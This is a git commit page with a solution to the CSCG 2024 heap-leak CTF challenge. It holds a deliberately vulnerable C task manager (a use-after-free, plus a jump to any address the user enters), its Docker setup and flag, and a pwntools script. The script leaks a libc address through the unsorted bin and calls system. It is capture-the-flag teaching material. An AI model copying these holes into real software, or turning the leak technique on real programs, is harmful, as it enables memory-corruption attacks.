cscg24-heap

CSCG 2024 Challenge 'Intro(ish) to heap 1 - Heap Leak'
git clone https://git.sinitax.com/sinitax/cscg24-heap
Log | Files | Refs | sfeed.txt

commit f1aa2b1865e8362caf8995cbbdb1c87d216189ab
Author: Louis Burda <quent.burda@gmail.com>
Date:   Mon,  1 Apr 2024 22:45:25 +0200

Add solution

Diffstat:
Achall/description | 1+
Achall/intro-heap-1.zip | 0
Asolve/Dockerfile | 35+++++++++++++++++++++++++++++++++++
Asolve/flag | 1+
Asolve/libc.so.6 | 0
Asolve/main | 0
Asolve/main.c | 143+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asolve/solve | 64++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
8 files changed, 244 insertions(+), 0 deletions(-)

diff --git a/chall/description b/chall/description @@ -0,0 +1 @@ +Your goal in this challenge is to leak the address of the system function. You will be given a program that manages memory using the heap You will need to use your heap manipulation skills to craft a payload that will retrieve the address. Can you find a way to achieve your goal and complete this first step heap exploitation? Good luck! diff --git a/chall/intro-heap-1.zip b/chall/intro-heap-1.zip Binary files differ. diff --git a/solve/Dockerfile b/solve/Dockerfile @@ -0,0 +1,35 @@ +FROM ubuntu@sha256:7a57c69fe1e9d5b97c5fe649849e79f2cfc3bf11d10bbd5218b4eb61716aebe6 as builder + +ADD --chmod=0755 --checksum=sha256:4c97fd03a3b181996b1473f3a99b69a1efc6ecaf2b4ede061b6bd60a96b9325a \ + https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.0/repro-sources-list.sh \ + /usr/local/bin/repro-sources-list.sh + +RUN \ + --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + /usr/local/bin/repro-sources-list.sh && \ + apt-get update && apt-get install -y \ + musl-dev \ + musl-tools \ + make \ + xz-utils + +WORKDIR /work + +ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \ + https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \ + /work/ynetd-0.1.2.tar.xz + +RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make + + +FROM ubuntu@sha256:7a57c69fe1e9d5b97c5fe649849e79f2cfc3bf11d10bbd5218b4eb61716aebe6 as runner + +RUN echo "8f7d59c6f95b0cf57a8db165033296dda91d1239 /lib/x86_64-linux-gnu/libc.so.6" | sha1sum -c + +COPY --from=builder /work/ynetd-0.1.2/ynetd /ynetd + +COPY ./main /main +COPY ./flag /flag + +CMD /ynetd -p 1024 /main diff --git a/solve/flag b/solve/flag @@ -0,0 +1 @@ +CSCG{free_the_h3ap_get_the_leakyleak} diff --git a/solve/libc.so.6 b/solve/libc.so.6 Binary files differ. diff --git a/solve/main b/solve/main Binary files differ. diff --git a/solve/main.c b/solve/main.c @@ -0,0 +1,142 @@ +// gcc -O0 -g main.c -o main +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <string.h> + +#define MAX_TASKS 25 +#define TASK_NAME 0x90 + +typedef struct Task +{ + char name[TASK_NAME]; +} task_t; + +task_t *tasks[MAX_TASKS]; + +long read_long() +{ + char buf[1024]; + char *end; + long ret; + + if (!fgets(buf, sizeof(buf), stdin)) + { + puts("error reading stdin"); + exit(1); + } + ret = strtol(buf, &end, 10); + if(end == buf){ + puts("not a number"); + exit(1); + } + return ret; +} + +void add_task() +{ + char *last_n; + + for (int i = 0; i < MAX_TASKS; i++) + { + if (tasks[i]) + { + continue; + } + tasks[i] = malloc(sizeof(task_t)); + printf("name? "); + read(0, tasks[i]->name, TASK_NAME); + last_n = strrchr(tasks[i]->name, '\n'); + if (last_n) + { + *last_n = 0; + } + return; + } + puts("too many tasks :("); +} + +void delete_task() +{ + long id; + + printf("id? "); + id = read_long(); + if (id >= MAX_TASKS) + { + puts("invalid id"); + return; + } + if (!tasks[id]) + { + puts("task does not exist"); + return; + } + free(tasks[id]); +} + +void list_tasks() +{ + for (int i = 0; i < MAX_TASKS; i++) + { + if (!tasks[i]) + { + continue; + } + printf("[%02d] %s\n", i, tasks[i]->name); + } +} + +void execute() +{ + long address; + + printf("address? "); + address = read_long(); + printf("jumping to %p\n", (void *)address); + ((void (*)(char *))address)("cat /flag"); +} + +int menu() +{ + long choice; + puts("---menu---"); + puts("[0] exit"); + puts("[1] add task"); + puts("[2] delete task"); + puts("[3] list tasks"); + puts("[4] execute"); + + printf("choice? "); + choice = read_long(); + return choice; +} + +int main(int argc, char **argv) +{ + setvbuf(stdin, 0, _IONBF, 0); + setvbuf(stdout, 0, _IONBF, 0); + setvbuf(stderr, 0, _IONBF, 0); + while (1) + { + switch (menu()) + { + case 0: + return 0; + case 1: + add_task(); + break; + case 2: + delete_task(); + break; + case 3: + list_tasks(); + break; + case 4: + execute(); + break; + default: + puts("choose wisely"); + } + } +} +\ No newline at end of file diff --git a/solve/solve b/solve/solve @@ -0,0 +1,64 @@ +#!/usr/bin/env python3 + +from pwn import * +import sys + +args = sys.argv[1:] +if args == []: + args = ["nc", "localhost", "1024"] +io = process(args) + +nextfree = 0 + +def create(data): + global nextfree + print("ADD", data) + print(io.readuntil(b"choice? ")) + io.sendline(b"1") + print(io.readuntil(b"name? ")) + io.send(data) + nextfree += 1 + return nextfree - 1 + +def delete(idx): + global nextfree + print("DEL", idx) + print(io.readuntil(b"choice? ")) + io.sendline(b"2") + print(io.readuntil(b"id? ")) + io.sendline(str(idx).encode()) + +# fill tcache (7) and free 2 to unsorted +for _ in range(7 + 2): + create(b"." * 8) +for i in range(7 + 2 - 1, -1, -1): + delete(i) + +# exhaust tcache +for _ in range(7): + create(b"." * 8) + +# alloc from unsorted and bridge leading nullbyte +idx = create(b"?" * 1) + +context.log_level = "DEBUG" + +io.readuntil(b"choice? ") +io.sendline(b"3") +io.readuntil(f"[{idx:02}] ".encode()) +line = io.readline() +addr = u64(line[:-1].ljust(8, b"\x00")) + +libc_base = addr - ord('?') - 0x219e00 +libc_system = libc_base + 0x0000000000050d60 + +print(hex(addr)) +print(hex(libc_system)) + + +io.readuntil(b"choice? ") +io.sendline(b"4") +io.sendline(str(libc_system).encode()) + +io.interactive() +